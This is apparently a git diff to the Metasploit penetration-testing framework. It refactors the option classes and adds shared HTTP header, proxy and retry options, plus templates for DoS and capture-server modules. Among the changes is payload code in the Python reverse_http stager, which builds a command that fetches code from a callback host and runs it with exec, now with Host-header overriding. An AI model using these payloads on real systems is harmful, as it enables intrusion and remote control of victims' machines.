||||||
t['platform'].dump
|
t['platform'].dump
|
||||||
end.uniq.join(",\n ")
|
end.uniq.join(",\n ")
|
||||||
|
meta[:references] = mod.meta['references'].map do |r|
|
||||||
|
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
|
||||||
|
end.join(",\n ")
|
||||||
meta[:targets] = mod.meta['targets'].map do |t|
|
meta[:targets] = mod.meta['targets'].map do |t|
|
||||||
"[#{t['platform'].dump} + ' ' + #{t['arch'].dump}, {'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]"
|
"[#{t['platform'].dump} + ' ' + #{t['arch'].dump}, {'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]"
|
||||||
end.join(",\n ")
|
end.join(",\n ")
|
||||||
|
@ -56,4 +63,19 @@ class Msf::Modules::External::Shim
|
||||||
meta[:command_stager_flavor] = mod.meta['payload']['command_stager_flavor'].dump
|
meta[:command_stager_flavor] = mod.meta['payload']['command_stager_flavor'].dump
|
||||||
render_template('remote_exploit_cmd_stager.erb', meta)
|
render_template('remote_exploit_cmd_stager.erb', meta)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def self.capture_server(mod)
|
||||||
|
meta = mod_meta_common(mod)
|
||||||
|
render_template('capture_server.erb', meta)
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.dos(mod)
|
||||||
|
meta = mod_meta_common(mod)
|
||||||
|
meta[:date] = mod.meta['date'].dump
|
||||||
|
meta[:references] = mod.meta['references'].map do |r|
|
||||||
|
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
|
||||||
|
end.join(",\n ")
|
||||||
|
|
||||||
|
render_template('dos.erb', meta)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,26 @@
|
||||||
|
require 'msf/core/modules/external/bridge'
|
||||||
|
require 'msf/core/module/external'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Module::External
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super({
|
||||||
|
<%= common_metadata meta %>
|
||||||
|
'Actions' => [ ['Capture'] ],
|
||||||
|
'PassiveActions' => ['Capture'],
|
||||||
|
'DefaultAction' => 'Capture'
|
||||||
|
})
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
<%= meta[:options] %>
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status("Starting server...")
|
||||||
|
mod = Msf::Modules::External::Bridge.open(<%= meta[:path] %>)
|
||||||
|
mod.run(datastore)
|
||||||
|
wait_status(mod)
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,29 @@
|
||||||
|
require 'msf/core/modules/external/bridge'
|
||||||
|
require 'msf/core/module/external'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Module::External
|
||||||
|
include Msf::Auxiliary::Dos
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super({
|
||||||
|
<%= common_metadata meta %>
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
<%= meta[:references] %>
|
||||||
|
],
|
||||||
|
'DisclosureDate' => <%= meta[:date] %>,
|
||||||
|
})
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
<%= meta[:options] %>
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status("Starting server...")
|
||||||
|
mod = Msf::Modules::External::Bridge.open(<%= meta[:path] %>)
|
||||||
|
mod.run(datastore)
|
||||||
|
wait_status(mod)
|
||||||
|
end
|
||||||
|
end
|
|
@ -1,7 +1,6 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
#
|
#
|
||||||
# Builtin framework options with shortcut methods
|
# Builtin framework options with shortcut methods
|
||||||
#
|
#
|
||||||
|
@ -51,22 +50,62 @@ module Msf
|
||||||
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
|
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
|
||||||
end
|
end
|
||||||
|
|
||||||
# @return [OptEnum]
|
def self.ssl_supported_options
|
||||||
def self.SSLVersion
|
@m ||= ['Auto', 'TLS'] + OpenSSL::SSL::SSLContext::METHODS \
|
||||||
Msf::OptEnum.new('SSLVersion', [ false,
|
.select{|m| !m.to_s.include?('client') && !m.to_s.include?('server')} \
|
||||||
'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', 'Auto',
|
.select{|m| OpenSSL::SSL::SSLContext.new(m) && true rescue false} \
|
||||||
['Auto', 'SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']])
|
.map{|m| m.to_s.sub(/v/, '').sub('_', '.')}
|
||||||
end
|
end
|
||||||
|
|
||||||
# These are unused but remain for historical reasons
|
# @return [OptEnum]
|
||||||
class << self
|
def self.SSLVersion
|
||||||
alias builtin_chost CHOST
|
Msf::OptEnum.new('SSLVersion',
|
||||||
alias builtin_cport CPORT
|
'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
|
||||||
alias builtin_lhost LHOST
|
enums: self.ssl_supported_options
|
||||||
alias builtin_lport LPORT
|
)
|
||||||
alias builtin_proxies Proxies
|
end
|
||||||
alias builtin_rhost RHOST
|
|
||||||
alias builtin_rport RPORT
|
def self.stager_retry_options
|
||||||
|
[
|
||||||
|
OptInt.new('StagerRetryCount',
|
||||||
|
'The number of times the stager should retry if the first connect fails',
|
||||||
|
default: 10,
|
||||||
|
aliases: ['ReverseConnectRetries']
|
||||||
|
),
|
||||||
|
OptInt.new('StagerRetryWait',
|
||||||
|
'Number of seconds to wait for the stager between reconnect attempts',
|
||||||
|
default: 5
|
||||||
|
)
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.http_proxy_options
|
||||||
|
[
|
||||||
|
OptString.new('HttpProxyHost', 'An optional proxy server IP address or hostname',
|
||||||
|
aliases: ['PayloadProxyHost']
|
||||||
|
),
|
||||||
|
OptPort.new('HttpProxyPort', 'An optional proxy server port',
|
||||||
|
aliases: ['PayloadProxyPort']
|
||||||
|
),
|
||||||
|
OptString.new('HttpProxyUser', 'An optional proxy server username',
|
||||||
|
aliases: ['PayloadProxyUser']
|
||||||
|
),
|
||||||
|
OptString.new('HttpProxyPass', 'An optional proxy server password',
|
||||||
|
aliases: ['PayloadProxyPass']
|
||||||
|
),
|
||||||
|
OptEnum.new('HttpProxyType', 'The type of HTTP proxy',
|
||||||
|
enums: ['HTTP', 'SOCKS'],
|
||||||
|
aliases: ['PayloadProxyType']
|
||||||
|
)
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.http_header_options
|
||||||
|
[
|
||||||
|
OptString.new('HttpHostHeader', 'An optional value to use for the Host HTTP header'),
|
||||||
|
OptString.new('HttpCookie', 'An optional value to use for the Cookie HTTP header'),
|
||||||
|
OptString.new('HttpReferer', 'An optional value to use for the Referer HTTP header')
|
||||||
|
]
|
||||||
end
|
end
|
||||||
|
|
||||||
CHOST = CHOST()
|
CHOST = CHOST()
|
||||||
|
@ -78,5 +117,4 @@ module Msf
|
||||||
RPORT = RPORT()
|
RPORT = RPORT()
|
||||||
SSLVersion = SSLVersion()
|
SSLVersion = SSLVersion()
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -22,15 +22,39 @@ module Msf
|
||||||
# attrs[3] = possible enum values
|
# attrs[3] = possible enum values
|
||||||
# attrs[4] = Regex to validate the option
|
# attrs[4] = Regex to validate the option
|
||||||
#
|
#
|
||||||
def initialize(in_name, attrs = [], aliases: [])
|
# Attrs can also be specified explicitly via named parameters, or attrs can
|
||||||
|
# also be a string as standin for the required description field.
|
||||||
|
#
|
||||||
|
def initialize(in_name, attrs = [],
|
||||||
|
required: false, desc: nil, default: nil, enums: [], regex: nil, aliases: [])
|
||||||
self.name = in_name
|
self.name = in_name
|
||||||
self.advanced = false
|
self.advanced = false
|
||||||
self.evasion = false
|
self.evasion = false
|
||||||
self.required = attrs[0] || false
|
self.aliases = aliases
|
||||||
self.desc = attrs[1]
|
|
||||||
self.default = attrs[2]
|
if attrs.is_a?(String) || attrs.length == 0
|
||||||
self.enums = [ *(attrs[3]) ].map { |x| x.to_s }
|
self.required = required
|
||||||
regex_temp = attrs[4] || nil
|
self.desc = attrs.is_a?(String) ? attrs : desc
|
||||||
|
self.enums = [ *(enums) ].map { |x| x.to_s }
|
||||||
|
if default.nil? && enums.length > 0
|
||||||
|
self.default = enums[0]
|
||||||
|
else
|
||||||
|
self.default = default
|
||||||
|
end
|
||||||
|
regex_temp = regex
|
||||||
|
else
|
||||||
|
if attrs[0].nil?
|
||||||
|
self.required = required
|
||||||
|
else
|
||||||
|
self.required = attrs[0]
|
||||||
|
end
|
||||||
|
self.desc = attrs[1] || desc
|
||||||
|
self.default = attrs[2] || default
|
||||||
|
self.enums = attrs[3] || enums
|
||||||
|
self.enums = [ *(self.enums) ].map { |x| x.to_s }
|
||||||
|
regex_temp = attrs[4] || regex
|
||||||
|
end
|
||||||
|
|
||||||
if regex_temp
|
if regex_temp
|
||||||
# convert to string
|
# convert to string
|
||||||
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
|
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
|
||||||
|
@ -45,35 +69,34 @@ module Msf
|
||||||
raise("Invalid Regex #{regex_temp}: #{e}")
|
raise("Invalid Regex #{regex_temp}: #{e}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
self.aliases = aliases
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns true if this is a required option.
|
# Returns true if this is a required option.
|
||||||
#
|
#
|
||||||
def required?
|
def required?
|
||||||
return required
|
required
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns true if this is an advanced option.
|
# Returns true if this is an advanced option.
|
||||||
#
|
#
|
||||||
def advanced?
|
def advanced?
|
||||||
return advanced
|
advanced
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns true if this is an evasion option.
|
# Returns true if this is an evasion option.
|
||||||
#
|
#
|
||||||
def evasion?
|
def evasion?
|
||||||
return evasion
|
evasion
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns true if the supplied type is equivalent to this option's type.
|
# Returns true if the supplied type is equivalent to this option's type.
|
||||||
#
|
#
|
||||||
def type?(in_type)
|
def type?(in_type)
|
||||||
return (type == in_type)
|
type == in_type
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -94,7 +117,7 @@ module Msf
|
||||||
if regex
|
if regex
|
||||||
return !!value.match(regex)
|
return !!value.match(regex)
|
||||||
end
|
end
|
||||||
return true
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -102,7 +125,7 @@ module Msf
|
||||||
# a valid value
|
# a valid value
|
||||||
#
|
#
|
||||||
def empty_required_value?(value)
|
def empty_required_value?(value)
|
||||||
return (required? and value.nil?)
|
required? && value.nil?
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -169,6 +192,4 @@ module Msf
|
||||||
|
|
||||||
attr_writer :required, :desc, :default # :nodoc:
|
attr_writer :required, :desc, :default # :nodoc:
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -1,48 +1,33 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
# Boolean option type
|
||||||
|
class OptBool < OptBase
|
||||||
|
TRUE_REGEX = /^(y|yes|t|1|true)$/i
|
||||||
|
ANY_REGEX = /^(y|yes|n|no|t|f|0|1|true|false)$/i
|
||||||
|
|
||||||
###
|
# This overrides default from 'nil' to 'false'
|
||||||
#
|
def initialize(in_name, attrs = [],
|
||||||
# Boolean option.
|
required: true, desc: nil, default: false, aliases: [])
|
||||||
#
|
super
|
||||||
###
|
|
||||||
class OptBool < OptBase
|
|
||||||
|
|
||||||
TrueRegex = /^(y|yes|t|1|true)$/i
|
|
||||||
|
|
||||||
def type
|
|
||||||
return 'bool'
|
|
||||||
end
|
|
||||||
|
|
||||||
def valid?(value, check_empty: true)
|
|
||||||
return false if empty_required_value?(value)
|
|
||||||
|
|
||||||
if ((value != nil and
|
|
||||||
(value.to_s.empty? == false) and
|
|
||||||
(value.to_s.match(/^(y|yes|n|no|t|f|0|1|true|false)$/i) == nil)))
|
|
||||||
return false
|
|
||||||
end
|
end
|
||||||
|
|
||||||
true
|
def type
|
||||||
end
|
return 'bool'
|
||||||
|
end
|
||||||
|
|
||||||
def normalize(value)
|
def valid?(value, check_empty: true)
|
||||||
if(value.nil? or value.to_s.match(TrueRegex).nil?)
|
return false if check_empty && empty_required_value?(value)
|
||||||
false
|
return true if value.nil? && !required?
|
||||||
else
|
|
||||||
true
|
!(value.nil? ||
|
||||||
|
value.to_s.empty? ||
|
||||||
|
value.to_s.match(ANY_REGEX).nil?)
|
||||||
|
end
|
||||||
|
|
||||||
|
def normalize(value)
|
||||||
|
!(value.nil? ||
|
||||||
|
value.to_s.match(TRUE_REGEX).nil?)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def is_true?(value)
|
|
||||||
return normalize(value)
|
|
||||||
end
|
|
||||||
|
|
||||||
def is_false?(value)
|
|
||||||
return !is_true?(value)
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,48 +1,49 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
###
|
||||||
###
|
#
|
||||||
#
|
# Enum option.
|
||||||
# Enum option.
|
#
|
||||||
#
|
###
|
||||||
###
|
class OptEnum < OptBase
|
||||||
class OptEnum < OptBase
|
def type
|
||||||
|
return 'enum'
|
||||||
def type
|
|
||||||
return 'enum'
|
|
||||||
end
|
|
||||||
|
|
||||||
def valid?(value=self.value, check_empty: true)
|
|
||||||
return false if check_empty && empty_required_value?(value)
|
|
||||||
return true if value.nil? and !required?
|
|
||||||
|
|
||||||
(value and self.enums.include?(value.to_s))
|
|
||||||
end
|
|
||||||
|
|
||||||
def normalize(value=self.value)
|
|
||||||
return nil if not self.valid?(value)
|
|
||||||
return value.to_s
|
|
||||||
end
|
|
||||||
|
|
||||||
def desc=(value)
|
|
||||||
self.desc_string = value
|
|
||||||
|
|
||||||
self.desc
|
|
||||||
end
|
|
||||||
|
|
||||||
def desc
|
|
||||||
if self.enums
|
|
||||||
str = self.enums.join(', ')
|
|
||||||
end
|
end
|
||||||
"#{self.desc_string || ''} (Accepted: #{str})"
|
|
||||||
|
# This overrides required default from 'false' to 'true'
|
||||||
|
def initialize(in_name, attrs = [],
|
||||||
|
required: true, desc: nil, default: nil, enums: [], aliases: [])
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
def valid?(value = self.value, check_empty: true)
|
||||||
|
return false if check_empty && empty_required_value?(value)
|
||||||
|
return true if value.nil? && !required?
|
||||||
|
|
||||||
|
!value.nil? && enums.include?(value.to_s)
|
||||||
|
end
|
||||||
|
|
||||||
|
def normalize(value = self.value)
|
||||||
|
if valid?(value)
|
||||||
|
value.to_s
|
||||||
|
else
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def desc=(value)
|
||||||
|
self.desc_string = value
|
||||||
|
desc
|
||||||
|
end
|
||||||
|
|
||||||
|
def desc
|
||||||
|
str = enums.join(', ') if enums
|
||||||
|
"#{desc_string || ''} (Accepted: #{str})"
|
||||||
|
end
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
attr_accessor :desc_string # :nodoc:
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
protected
|
|
||||||
|
|
||||||
attr_accessor :desc_string # :nodoc:
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -20,6 +20,14 @@ module Payload::Android::ReverseHttp
|
||||||
include Msf::Payload::Android::PayloadOptions
|
include Msf::Payload::Android::PayloadOptions
|
||||||
include Msf::Payload::UUID::Options
|
include Msf::Payload::UUID::Options
|
||||||
|
|
||||||
|
#
|
||||||
|
# Register reverse_http specific options
|
||||||
|
#
|
||||||
|
def initialize(*args)
|
||||||
|
super
|
||||||
|
register_advanced_options(Msf::Opt::http_header_options)
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Generate the transport-specific configuration
|
# Generate the transport-specific configuration
|
||||||
#
|
#
|
||||||
|
|
|
@ -23,10 +23,13 @@ module Payload::Java::ReverseHttp
|
||||||
#
|
#
|
||||||
def initialize(*args)
|
def initialize(*args)
|
||||||
super
|
super
|
||||||
register_advanced_options([
|
register_advanced_options(
|
||||||
Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
|
[
|
||||||
Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
|
OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
|
||||||
])
|
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||||
|
] +
|
||||||
|
Msf::Opt::http_header_options
|
||||||
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -64,6 +67,10 @@ module Payload::Java::ReverseHttp
|
||||||
|
|
||||||
c = ''
|
c = ''
|
||||||
c << "Spawn=#{ds["Spawn"] || 2}\n"
|
c << "Spawn=#{ds["Spawn"] || 2}\n"
|
||||||
|
c << "HeaderUser-Agent=#{ds["HttpUserAgent"]}\n" if ds["HttpUserAgent"]
|
||||||
|
c << "HeaderHost=#{ds["HttpHostHeader"]}\n" if ds["HttpHostHeader"]
|
||||||
|
c << "HeaderReferer=#{ds["HttpReferer"]}\n" if ds["HttpReferer"]
|
||||||
|
c << "HeaderCookie=#{ds["HttpCookie"]}\n" if ds["HttpCookie"]
|
||||||
c << "URL=#{scheme}://#{ds['LHOST']}"
|
c << "URL=#{scheme}://#{ds['LHOST']}"
|
||||||
c << ":#{ds['LPORT']}" if ds['LPORT']
|
c << ":#{ds['LPORT']}" if ds['LPORT']
|
||||||
c << luri
|
c << luri
|
||||||
|
|
|
@ -22,16 +22,12 @@ module Payload::Multi::ReverseHttp
|
||||||
#
|
#
|
||||||
def initialize(*args)
|
def initialize(*args)
|
||||||
super
|
super
|
||||||
register_advanced_options([
|
register_advanced_options(
|
||||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
[ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
|
||||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
Msf::Opt::stager_retry_options +
|
||||||
aliases: ['ReverseConnectRetries']),
|
Msf::Opt::http_header_options +
|
||||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
Msf::Opt::http_proxy_options
|
||||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
)
|
||||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
|
||||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
|
||||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
|
||||||
])
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -67,4 +63,3 @@ module Payload::Multi::ReverseHttp
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -28,10 +28,20 @@ module Payload::Python::MeterpreterLoader
|
||||||
'Stager' => {'Payload' => ""}
|
'Stager' => {'Payload' => ""}
|
||||||
))
|
))
|
||||||
|
|
||||||
register_advanced_options([
|
register_advanced_options(
|
||||||
OptBool.new('MeterpreterTryToFork', [ true, 'Fork a new process if the functionality is available', true ]),
|
[
|
||||||
OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ])
|
OptBool.new(
|
||||||
], self.class)
|
'MeterpreterTryToFork',
|
||||||
|
'Fork a new process if the functionality is available',
|
||||||
|
default: true
|
||||||
|
),
|
||||||
|
OptBool.new(
|
||||||
|
'PythonMeterpreterDebug',
|
||||||
|
'Enable debugging for the Python meterpreter'
|
||||||
|
),
|
||||||
|
] +
|
||||||
|
Msf::Opt::http_header_options
|
||||||
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
def stage_payload(opts={})
|
def stage_payload(opts={})
|
||||||
|
@ -85,17 +95,40 @@ module Payload::Python::MeterpreterLoader
|
||||||
end
|
end
|
||||||
met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'")
|
met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'")
|
||||||
|
|
||||||
http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
|
http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent']
|
||||||
http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
|
http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST']
|
||||||
http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
|
http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT']
|
||||||
|
http_header_host = opts[:header_host] || ds['HttpHostHeader']
|
||||||
|
http_header_cookie = opts[:header_cookie] || ds['HttpCookie']
|
||||||
|
http_header_referer = opts[:header_referer] || ds['HttpReferer']
|
||||||
|
|
||||||
# patch in the stageless http(s) connection url
|
# The callback URL can be different to the one that we're receiving from the interface
|
||||||
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != ''
|
# so we need to generate it
|
||||||
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
|
# TODO: move this to somewhere more common so that it can be used across payload types
|
||||||
|
unless opts[:url].to_s == ''
|
||||||
|
uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}"
|
||||||
|
callback_url = [
|
||||||
|
opts[:url].to_s.split(':')[0],
|
||||||
|
'://',
|
||||||
|
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
|
||||||
|
':',
|
||||||
|
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
|
||||||
|
ds['LURI'].to_s,
|
||||||
|
uri,
|
||||||
|
'/'
|
||||||
|
].join('')
|
||||||
|
|
||||||
if http_proxy_host.to_s != ''
|
# patch in the various payload related configuration
|
||||||
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
|
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
|
||||||
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
|
||||||
|
met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != ''
|
||||||
|
met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != ''
|
||||||
|
met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''
|
||||||
|
|
||||||
|
if http_proxy_host.to_s != ''
|
||||||
|
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
|
||||||
|
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# patch in any optional stageless tcp socket setup
|
# patch in any optional stageless tcp socket setup
|
||||||
|
|
|
@ -11,11 +11,10 @@ module Payload::Python::ReverseHttp
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(info)
|
super(info)
|
||||||
register_options(
|
register_advanced_options(
|
||||||
[
|
Msf::Opt::http_header_options +
|
||||||
OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]),
|
Msf::Opt::http_proxy_options
|
||||||
OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ])
|
)
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -24,11 +23,14 @@ module Payload::Python::ReverseHttp
|
||||||
def generate(opts={})
|
def generate(opts={})
|
||||||
ds = opts[:datastore] || datastore
|
ds = opts[:datastore] || datastore
|
||||||
opts.merge!({
|
opts.merge!({
|
||||||
host: ds['LHOST'] || '127.127.127.127',
|
host: ds['LHOST'] || '127.127.127.127',
|
||||||
port: ds['LPORT'],
|
port: ds['LPORT'],
|
||||||
proxy_host: ds['PayloadProxyHost'],
|
proxy_host: ds['HttpProxyHost'],
|
||||||
proxy_port: ds['PayloadProxyPort'],
|
proxy_port: ds['HttpProxyPort'],
|
||||||
user_agent: ds['MeterpreterUserAgent']
|
user_agent: ds['HttpUserAgent'],
|
||||||
|
header_host: ds['HttpHostHeader'],
|
||||||
|
header_cookie: ds['HttpCookie'],
|
||||||
|
header_referer: ds['HttpReferer']
|
||||||
})
|
})
|
||||||
opts[:scheme] = 'http' if opts[:scheme].nil?
|
opts[:scheme] = 'http' if opts[:scheme].nil?
|
||||||
|
|
||||||
|
@ -104,9 +106,18 @@ module Payload::Python::ReverseHttp
|
||||||
cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
|
cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
headers = []
|
||||||
|
headers << "('User-Agent','#{var_escape.call(opts[:user_agent])}')"
|
||||||
|
headers << "('Cookie','#{var_escape.call(opts[:header_cookie])}')" if opts[:header_cookie]
|
||||||
|
headers << "('Referer','#{var_escape.call(opts[:header_referer])}')" if opts[:header_referer]
|
||||||
|
|
||||||
cmd << "o=ul.build_opener(*hs)\n"
|
cmd << "o=ul.build_opener(*hs)\n"
|
||||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n"
|
cmd << "o.addheaders=[#{headers.join(',')}]\n"
|
||||||
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
|
if opts[:header_host]
|
||||||
|
cmd << "exec(o.open(ul.Request('#{generate_callback_url(opts)}',None,{'Host':'#{var_escape.call(opts[:header_host])}'})).read())\n"
|
||||||
|
else
|
||||||
|
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
|
||||||
|
end
|
||||||
|
|
||||||
py_create_exec_stub(cmd)
|
py_create_exec_stub(cmd)
|
||||||
end
|
end
|
||||||
|
|
|
@ -18,11 +18,7 @@ module Payload::Python::ReverseTcp
|
||||||
|
|
||||||
def initialize(*args)
|
def initialize(*args)
|
||||||
super
|
super
|
||||||
register_advanced_options([
|
register_advanced_options(Msf::Opt::stager_retry_options)
|
||||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
|
||||||
aliases: ['ReverseConnectRetries']),
|
|
||||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -17,11 +17,7 @@ module Payload::Python::ReverseTcpSsl
|
||||||
include Msf::Payload::Python::ReverseTcp
|
include Msf::Payload::Python::ReverseTcp
|
||||||
def initialize(*args)
|
def initialize(*args)
|
||||||
super
|
super
|
||||||
register_advanced_options([
|
register_advanced_options(Msf::Opt::stager_retry_options)
|
||||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
|
||||||
aliases: ['ReverseConnectRetries']),
|
|
||||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -56,16 +56,20 @@ module Msf::Payload::TransportConfig
|
||||||
|
|
||||||
ds = opts[:datastore] || datastore
|
ds = opts[:datastore] || datastore
|
||||||
{
|
{
|
||||||
scheme: ds['OverrideScheme'] || 'http',
|
scheme: ds['OverrideScheme'] || 'http',
|
||||||
lhost: opts[:lhost] || ds['LHOST'],
|
lhost: opts[:lhost] || ds['LHOST'],
|
||||||
lport: (opts[:lport] || ds['LPORT']).to_i,
|
lport: (opts[:lport] || ds['LPORT']).to_i,
|
||||||
uri: uri,
|
uri: uri,
|
||||||
ua: ds['MeterpreterUserAgent'],
|
ua: ds['HttpUserAgent'],
|
||||||
proxy_host: ds['PayloadProxyHost'],
|
proxy_host: ds['HttpProxyHost'],
|
||||||
proxy_port: ds['PayloadProxyPort'],
|
proxy_port: ds['HttpProxyPort'],
|
||||||
